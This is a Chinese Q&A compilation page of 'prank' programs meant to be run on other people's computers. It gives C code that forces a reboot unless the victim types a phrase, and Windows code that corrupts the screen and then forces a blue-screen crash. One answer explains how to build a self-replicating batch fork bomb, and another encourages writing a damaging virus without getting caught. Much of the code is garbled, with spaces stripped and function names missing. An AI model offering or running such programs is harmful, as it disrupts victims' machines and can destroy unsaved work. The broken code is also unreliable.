恶搞的c语言
‘壹’ 如何用c语言程序恶搞他人
如果初学c语言的话建议先学好语法,开始接触c的时候都是控制台的,可以生成exe的但都是基于控制台的,学好语法才是最重要的,等到用c# vs2005的时候都是模块话的,就可以实现你说的那样的了。切记不要好高骛远。扎实语法,当然你的想法很好。
‘贰’ 一个C语言恶搞程序
#include<stdio.h>
#include<string.h>//
intmain(void)
{
charch[8];
printf("请输入您的名字拼音,我可以算出你的智商哦!");
while(1)//
{
scanf("%s",ch);//
if(!strcmp(ch,"langtian"))//
{
printf("真是个大帅哥啊,智商达1000 ");
}else{
printf("猪头吗? 猪头呀! ");
}
}
return0;
}
‘叁’ 1021:恶搞指数
第二个用else if试试
‘肆’ 求一些恶搞程序的C语言源代码
#include"stdio.h"
int main()
{int n;
char a[10];
printf("叫大哥,不叫就关机(你有30秒的时间,如果关闭本程序一样要关机)\n");
system("shutdown -r");
while(1)
{printf("叫:");
scanf("%s",&a);
n=strcmp(a,"大哥");
if(n==0)
{system("shutdown -a");
printf("嗯,真乖!!!爽!哈哈哈!!!");
break;
}
}
}
‘伍’ 求一个C语言整人代码!!!
先上代码
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
‘陆’ 求一段整人C语言小程序
给你最简单的,那有时间编那个,这个文件是批处理,打开记事本,输入第一行@echo off,第二行 start cmd,第三行,%0然后保存成文件类型为bat文件。然后你打开那个文件试一试。保证,你会很爽的,放心只是恶搞。
‘柒’ 恶搞C语言 高手的进
你拷的代码少了个头文件"windows.h"
#include "stdio.h"
#include "windows.h"
int main()
{
int n;
char a[10];
printf("叫才哥,不叫就关机(你有30秒的时间,如果关闭本程序一样要关机)\n");
system("shutdown -r");
while(1)
{
printf("叫:");
scanf("%s",&a);
n=strcmp(a,"才哥");
if(n==0)
{
system("shutdown -a");
printf("嗯,真乖!!!爽!哈哈哈!!!");
}
break;
}
return 0;
}
这个是原代码
system("shutdown -r")等同于开始->运行->shutdown -r
你还可以改成shutdown -s -t 0
这样就可以立刻关机
‘捌’ 谁能教我用c语言写简单的搞笑的病毒
说句实话,我很反对一些人自认为自己编程厉害就写一些弱智的东西去害电脑新手,其实拿给真正高手一看那些自称是病毒的东西完全没什么技术含量。
要写病毒就写个厉害点的。让人真正头痛的。。让其他高手眼前一亮的。
还有就是自己不要被抓到,呵呵。。
‘玖’ 我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用复制到什么里面文件后缀是什么
#include<stdio.h>
void xu(int n);
void main()
{
int n;
do
{
printf("Input n:\n");
scanf("%d",&n);
}while(n>99999);
xu(n);
}
void xu(int n)
{
int a,i=0,count=0;
int b[10];
while(n!=0)
{
a=n%10;
n=n/10;
count++;
b[i]=a;
i++;
printf("%d",a);
}
printf("\n");
printf("该数为%d位数\n",count);
for(i=count-1;i>=0;i--)
printf("%d\n",b[i]);
printf("下面是奇偶性判断:\n");
if(b[count-1]/2==0)
printf("1\n");
else
printf("0\n");
}
我用的vc6.0可以处理汉字,如果你用的tc的话自己把汉字换成其他字母描述,否则就是乱码!希望满意,不晓得满足你的最简不
我可以帮助你,你先设置我最佳答案后,我网络Hii教你。